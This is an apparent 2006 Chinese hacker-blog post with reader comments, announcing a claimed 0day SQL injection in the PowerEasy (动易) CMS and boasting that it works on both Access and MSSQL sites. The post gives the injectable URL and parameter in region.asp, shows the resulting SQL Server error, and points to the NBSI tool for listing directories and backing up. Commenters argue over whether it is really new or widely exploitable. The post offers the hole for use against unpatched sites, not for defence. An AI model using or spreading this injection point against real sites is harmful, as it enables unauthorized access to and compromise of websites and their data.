Category: 技术文档
2006-11-19 15:25:47 by: h4x0r

动易的又一个漏洞

Font Size: Large | Medium | Small
这个0day是whyttt总发的 !
通杀ACC,MSSQL
http://site.com/region.asp?country=tt&city=whytt&province=shi' 后面就是SQL语句啦


返回信息：
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'

字符串 'shi'' 之前有未闭合的引号。

/region.asp，行 32
NBSI 直接列目录 >备份> ok!

uploads/200611/19_153441_168b982f0b304d8b8932e68bfee30cc60.jpg
[Last Modified By h4x0r, at 2006-11-19 15:36:19]
Comments Feed Comments Feed: http://www.4evil.org/feed.asp?q=comment&id=783

View Mode: Show All | Comments: 8 Trackbacks: 0 Toggle Order | Views: 1157
Quote 123123*
[ 2006-11-19 20:32:53 ]
这个是几号的漏洞啊`````````````
Quote LoEr
[ 2006-11-20 03:14:37 ]
不错阿...通杀喜欢ing.
Quote myPC*
[ 2006-11-20 22:29:40 ]
开什么玩笑
根本就不是0day
也不是通杀
浪费了我感情
我呸
还高手呢!
就这水准啊。
Quote LoEr
[ 2006-11-22 16:33:10 ]
楼上的说话注意水准.

你不会利用,不等于他是垃圾.

懂?
[Last Modified By LoEr, at 2006-11-22 16:35:20]
Quote whytt*
[ 2006-11-23 18:22:24 ]
[sweat] [sweat] 一个月前的漏洞，居然又人看了还不会利用，我倒。。。。。。。。。。
Quote 飘零的紫*
[ 2006-11-23 20:38:21 ]
[sweat] 貌似不是很通杀
Quote xason*
[ 2006-11-24 04:24:14 ]
[eek] 不打补就通杀
Quote h4x0r
[ 2006-11-24 17:01:03 ]
听说这次动易出的洞还有好几个.
利用漏洞不是主要的.主要的是要会发掘ING..
[Last Modified By h4x0r, at 2006-11-24 17:01:49]

Post Comment
Smilies
[smile] [confused] [cool] [cry]
[eek] [angry] [wink] [sweat]
[lol] [stun] [razz] [redface]
[rolleyes] [sad] [yes] [no]
[heart] [star] [music] [idea]
Enable UBB Codes
Auto Convert URL
Show Smilies
Hidden Comment
Username:   Password:   Register Now?
Security Code * Please Enter the Security Code